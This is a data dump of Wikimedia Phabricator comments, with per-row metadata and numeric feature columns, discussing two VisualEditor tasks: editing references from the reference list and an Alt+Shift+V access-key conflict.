{F36929314}",,,1679923162,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,True,,,508,,0.5,1.0,0.0,1.5,1.5,6.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,2.0,1.0,8.0,8.5,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,15.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,3.0,1.5,9.5,2.0,2.5,6.0,0.0,0.0,0.0,0.0,2.5,1.0,0.0,0.0,2.5,8.5,1.5,0.0,1.0,0.0,2.5,0.0,1.0,2.5,0.0,1.5,0.0,0.0,1.0,4.203725961538462,0.8293269230769231,"QUOTE
QUOTE

Probably not – we already have a special-case support for templates that generate a reflist. Since we already treat it like a ""real"" references list, any new features should work here as well. For example, note how in URL (random article) the references are labelled like this: {F36929304} …and not like this: {F36929306} …despite being generated from a CODE markup.

----

However, supporting references defined using CODE would require rich editing of templates. For example <URL We already detect those and disable editing in visual mode, and presumably something similar woul happen inside this new feature: {F36929314}"
2094642,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Once it becomes possible to edit `<references />`, will editing through `{{reflist}}` require rich editing of templates?",,,1679850024,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,507,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,22.0,11.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.666666666666667,0.8888888888888888,"Once it becomes possible to edit CODE, will editing through CODE require rich editing of templates?"
2077990,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,">>! In T54750#8641368, @DLynch wrote:
>> Even if we switch to just using (2) this will mean that references are re-numbered when switching from read mode to edit mode.
> 
> I think we're stuck with the references renumbering in the reflist if the user edits any of them anyway, so it might be better to do it up-front and have them stay consistent throughout the entire session.

It takes ~800ms to render the list on [[Barack Obama]], hence not doing it up-front. Also on he.wiki, the initial rendering is the only rendering with content.",,,1677604414,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,True,,,504,,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,18.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,13.0,11.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,3.511111111111111,0.7111111111111111,"QUOTE
QUOTE
QUOTE
QUOTE

It takes ~800ms to render the list on [[Barack Obama]], hence not doing it up-front. Also on he.wiki, the initial rendering is the only rendering with content."
2077984,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,">>! In T54750#8641368, @DLynch wrote:
>> Even if we switch to just using (2) this will mean that references are re-numbered when switching from read mode to edit mode.
> 
> I think we're stuck with the references renumbering in the reflist if the user edits any of them anyway, so it might be better to do it up-front and have them stay consistent throughout the entire session.

It takes ~800ms to render the list on [[Barack Obama]], hence not doing it up-front.",,,1677604047,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,True,,,504,,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,23.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,13.0,13.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,3.064516129032258,0.7741935483870968,"QUOTE
QUOTE
QUOTE
QUOTE

It takes ~800ms to render the list on [[Barack Obama]], hence not doing it up-front."
2074898,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"> Even if we switch to just using (2) this will mean that references are re-numbered when switching from read mode to edit mode.

I think we're stuck with the references renumbering in the reflist if the user edits any of them anyway, so it might be better to do it up-front and have them stay consistent throughout the entire session.",,,1677168505,,PHID-USER-hdkktg27rkwebepkv6yw,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,503,,2.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,5.0,2.0,2.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,7.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,2.0,5.0,2.0,5.0,11.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,14.0,16.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,4.0,0.8863636363636364,"QUOTE

I think we're stuck with the references renumbering in the reflist if the user edits any of them anyway, so it might be better to do it up-front and have them stay consistent throughout the entire session."
2074895,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"I was thinking that a quick path forward would be for the reference list to offer a button that opened up a variant on the reuse dialog. In its context item would be the easiest place.

{F36866803}",,,1677168143,,PHID-USER-hdkktg27rkwebepkv6yw,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,503,,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,14.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,14.0,7.0,7.0,2.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,14.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,7.0,0.0,2.0,0.0,2.0,0.0,3.857142857142857,0.8095238095238095,"I was thinking that a quick path forward would be for the reference list to offer a button that opened up a variant on the reuse dialog. In its context item would be the easiest place.

{F36866803}"
2074183,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Following on from David's point, there are two ways the the reference list is rendered in the VisualEditor surface:
1. **Using the HTML of the ref list supplied by Parsoid**: This will include all references, included those defined inside templates (e.g. infoboxes), but the numbers will not necessarily map to those in VE's data model, so mapping from these references to editable references will be hard.
2. **Generating a reference list by iterating over references in the document model**: This will //exclude// references defined inside templates, but can easily be mapped back to the reference data in VE's data model. This list could be edited directly, or be used to launch a reference editor relatively easily.

(1) is used on the first load mostly for performance reasons (implemented in https://gerrit.wikimedia.org/r/c/mediawiki/extensions/Cite/+/411101) as it's a lot quicker to use the pre-generated HTML; rebuilding the reference list can be pretty slow on large pages. It also helps on wikis where most references are defined in templates, such as he.wiki.

Even if we switch to just using (2) this will mean that references are re-numbered when switching from read mode to edit mode.

From a UI perspective, we will need a way of showing the reference list context, probably by not embedding it but also thinking about where a user can click to show it (as clicking the reference list contents would now let you edit the list in some way)

{F36865507}
{F36865505}",,,1677088390,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,True,,,503,,0.6666666666666666,0.0,0.0,2.3333333333333335,0.6666666666666666,4.333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,3.6666666666666665,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,6.666666666666667,13.333333333333334,0.0,1.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,1.3333333333333333,2.3333333333333335,0.0,2.6666666666666665,1.6666666666666667,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,18.333333333333332,1.3333333333333333,1.0,0.0,1.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,6.666666666666667,3.3333333333333335,6.666666666666667,2.0,1.3333333333333333,9.666666666666666,0.0,0.0,0.0,0.0,5.666666666666667,0.0,0.6666666666666666,0.0,2.3333333333333335,13.333333333333334,3.6666666666666665,0.0,0.0,0.0,2.3333333333333335,0.0,1.0,2.0,0.0,4.0,0.3333333333333333,0.3333333333333333,1.3333333333333333,3.9993128564557137,0.7061774204631347,"Following on from David's point, there are two ways the the reference list is rendered in the VisualEditor surface:
1. **Using the HTML of the ref list supplied by Parsoid**: This will include all references, included those defined inside templates (e.g. infoboxes), but the numbers will not necessarily map to those in VE's data model, so mapping from these references to editable references will be hard.
2. **Generating a reference list by iterating over references in the document model**: This will //exclude// references defined inside templates, but can easily be mapped back to the reference data in VE's data model. This list could be edited directly, or be used to launch a reference editor relatively easily.

(1) is used on the first load mostly for performance reasons (implemented in URL as it's a lot quicker to use the pre-generated HTML; rebuilding the reference list can be pretty slow on large pages. It also helps on wikis where most references are defined in templates, such as he.wiki.

Even if we switch to just using (2) this will mean that references are re-numbered when switching from read mode to edit mode.

From a UI perspective, we will need a way of showing the reference list context, probably by not embedding it but also thinking about where a user can click to show it (as clicking the reference list contents would now let you edit the list in some way)

{F36865507}
{F36865505}"
2071162,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Copying my comment in from the other ticket, since I think it remains relevant here:
> The major hangup on this is that it's going to expose the challenges with VE seeing references that're defined within templates. (Because of the current lack of a centralized way to edit references, this is only really visible to users from the ""reuse citation"" part of the cite dialog, where such references don't appear.) I suspect that if we accept having those ones greyed out in the list with a ""this can't be edited here"" tooltip, the rest of this should be fairly simple to do -- unless I'm not thinking of something, it's ""just"" hooking up a few bits of already-existing functionality and doing some UI work to expose them.",,,1676585194,,PHID-USER-hdkktg27rkwebepkv6yw,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,502,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,16.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,16.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,16.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,1.0,"Copying my comment in from the other ticket, since I think it remains relevant here:
QUOTE"
693782,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,[[https://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Questions_techniques/semaine_28_2016#Impossibilt.C3.A9_d.27apporter_des_corrections_dans_les_sections_Notes_et_r.C3.A9f.C3.A9rences|New feedback from a user]] (a beginner) who wants to change a reference rom the reflist while editing with VE. ,,,1468426292,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,158,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,7.0,4.0,0.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,4.0,0.0,0.0,7.0,3.4444444444444446,0.8518518518518519,[[URL feedback from a user]] (a beginner) who wants to change a reference rom the reflist while editing with VE. 
253123,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,The alphabetising problem could perhaps be reduced by making the references only limitedly editable. i.e. Only individually editable in a dialog that allows for the editing of the template/parameters only.,,,1376323496,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,9.0,0.0,0.0,0.0,18.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,15.0,3.0,6.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,3.0,5.176470588235294,0.8529411764705882,The alphabetising problem could perhaps be reduced by making the references only limitedly editable. i.e. Only individually editable in a dialog that allows for the editing of the template/parameters only.
253117,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Adam Cuerdon comments:
    I'd suggest popping up a note telling the user what he or she is doing at least the first time, though. Something like ""This reference is used to document the source of text in the article. You can also edit it by clicking on the number after the text. Please make sure that you don't accidentally break documentation with your edit. Thanks for your work!""
    We don't want to have a situation where newbies, for example, try to alphabetise the list, say.

Personally, I'm not sure ""documentation"" is the right word, but otherwise it seems like a good suggestion.",,,1376321914,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,6,,0.0,0.5,0.0,0.5,2.5,4.0,1.0,0.0,0.5,0.0,1.5,3.0,0.0,0.0,0.0,2.0,0.0,6.5,10.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.5,6.5,0.5,1.5,2.0,3.0,1.0,0.0,0.5,0.5,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,1.5,2.0,0.0,0.0,1.5,0.0,0.0,6.5,2.0,6.5,1.5,1.5,7.0,0.0,0.0,1.0,0.0,6.0,0.5,0.0,0.0,7.5,10.0,1.0,0.0,3.0,0.0,7.5,0.0,1.5,2.0,0.0,2.0,0.0,0.5,0.0,3.8820684523809526,0.802703373015873,"Adam Cuerdon comments:
    I'd suggest popping up a note telling the user what he or she is doing at least the first time, though. Something like ""This reference is used to document the source of text in the article. You can also edit it by clicking on the number after the text. Please make sure that you don't accidentally break documentation with your edit. Thanks for your work!""
    We don't want to have a situation where newbies, for example, try to alphabetise the list, say.

Personally, I'm not sure ""documentation"" is the right word, but otherwise it seems like a good suggestion."
54701,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox","en.wp user JmCor reports that in Firefox on Windows 7 the shortcut ""<shift><alt>V (show the changes), which stopped working when the Visual Editor was introduced: currently, <shift><alt>V simply positions the cursor on the ""Show the changes"" button.""

I can confirm this also occurs in Firefox 23 on Linux.",Low,25.0,1376130000,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-txrorpbrj6b5ssangri4,task_description,open,True,c1,3,False,False,,5,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,3.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,17.0,3.0,0.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,2.0,9.0,14.0,0.0,6.0,0.0,2.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,9.0,3.9393939393939394,0.7121212121212122,"en.wp user JmCor reports that in Firefox on Windows 7 the shortcut ""<shift><alt>V (show the changes), which stopped working when the Visual Editor was introduced: currently, <shift><alt>V simply positions the cursor on the ""Show the changes"" button.""

I can confirm this also occurs in Firefox 23 on Linux."
2114855,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox",">>! In T54701#6404011, @Sunpriat2 wrote:
> Additionally https://www.mediawiki.org/wiki/Extension:FlaggedRevs add one more tab ""Pending changes"" which is also assigned ""v"" key. Any but unique replacement for short keys will be more convenient to activate instantly.

See {T335652}

>>! In T54701#8587857, @Pols12 wrote:
> What about using`E` as accesskey for visual__**E**__ditor? From Read view, it opens wikitext editor. Pressing once again, it would switch to VisualEditor.

I’d rather not change a conflicting access key to another conflicting one. The idea of @jhsoby seems better to me, although it doesn’t fix all conflicts either: filtering out `edit` and `submit` would fix this task, filtering out `history` would help fixing T26977, but there’s no way to fix T335652 with this approach, as both access keys should be available in read view.",,,1682937197,,PHID-USER-ocqnoktaualicuvge2tu,False,,,PHID-TASK-txrorpbrj6b5ssangri4,task_subcomment,,True,c1,3,False,,,513,,1.0,0.0,0.0,0.0,1.0,5.0,1.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,2.0,1.0,5.0,11.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,5.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,15.0,1.0,2.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,4.0,11.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,1.0,5.0,1.0,0.0,0.0,4.047058823529412,0.7294117647058823,"QUOTE
QUOTE

See {T335652}

QUOTE
QUOTE

I’d rather not change a conflicting access key to another conflicting one. The idea ofSCREEN_NAME seems better to me, although it doesn’t fix all conflicts either: filtering out CODE and CODE would fix this task, filtering out CODE would help fixing T26977, but there’s no way to fix T335652 with this approach, as both access keys should be available in read view."
2062821,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox","What about using`E` as accesskey for visual__**E**__ditor? From Read view, it opens wikitext editor. Pressing once again, it would switch to VisualEditor.",,,1675606822,,PHID-USER-unpoeiyj52rmcfqi5rbw,False,,,PHID-TASK-txrorpbrj6b5ssangri4,task_subcomment,,True,c1,3,False,,,500,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,19.0,19.0,4.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.962962962962963,0.8888888888888888,"What about usingCODE as accesskey for visual__**E**__ditor? From Read view, it opens wikitext editor. Pressing once again, it would switch to VisualEditor."
1896176,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox",Would it be possible to just disable the VE accesskey if the `wgAction` is `edit` or `submit`?,,,1649588052,,PHID-USER-jqjb54lbf7psat6shbcc,False,,,PHID-TASK-txrorpbrj6b5ssangri4,task_subcomment,,True,c1,3,False,,,457,,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,11.0,28.0,6.0,6.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,11.0,11.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.8333333333333334,Would it be possible to just disable the VE accesskey if the CODE is CODE or CODE?
1566779,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox","Additionally https://www.mediawiki.org/wiki/Extension:FlaggedRevs add one more tab ""Pending changes"" which is also assigned ""v"" key. Any but unique replacement for short keys will be more convenient to activate instantly.",,,1598121058,,PHID-USER-fhwkrjgsdwt5sqn3xaq7,False,,,PHID-TASK-txrorpbrj6b5ssangri4,task_subcomment,,True,c1,3,False,,,372,,3.0,0.0,0.0,3.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,12.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,4.264705882352941,0.8529411764705882,"Additionally URL add one more tab ""Pending changes"" which is also assigned ""v"" key. Any but unique replacement for short keys will be more convenient to activate instantly."
1566778,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox","Additionally ruWP has one more tab ""Pending changes"" which is also assigned ""v"" key in https://www.mediawiki.org/wiki/Extension:FlaggedRevs . Any but unique replacement for short keys will be more convenient to activate instantly.",,,1598120799,,PHID-USER-fhwkrjgsdwt5sqn3xaq7,False,,,PHID-TASK-txrorpbrj6b5ssangri4,task_subcomment,,True,c1,3,False,,,372,,3.0,0.0,0.0,3.0,0.0,11.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,4.194444444444445,0.8611111111111112,"Additionally ruWP has one more tab ""Pending changes"" which is also assigned ""v"" key in URL . Any but unique replacement for short keys will be more convenient to activate instantly."
1566777,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox","Additionally ruWP has one more tab ""Pending changes"" which is also assigned ""v"" key in https://www.mediawiki.org/wiki/Extension:FlaggedRevs",,,1598120539,,PHID-USER-fhwkrjgsdwt5sqn3xaq7,False,,,PHID-TASK-txrorpbrj6b5ssangri4,task_subcomment,,True,c1,3,False,,,372,,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,20.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,3.75,0.85,"Additionally ruWP has one more tab ""Pending changes"" which is also assigned ""v"" key in URL"
1451132,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox","@AhmadF.Cheema reports problems with this in detail at https://www.mediawiki.org/wiki/Topic:Veyo7xqvss4jz8d8

Also, {T156141} seems similar.",,,1582684702,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-txrorpbrj6b5ssangri4,task_subcomment,,True,c1,3,False,,,347,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.611111111111111,1.0,"SCREEN_NAME.Cheema reports problems with this in detail at URL

Also, {T156141} seems similar."
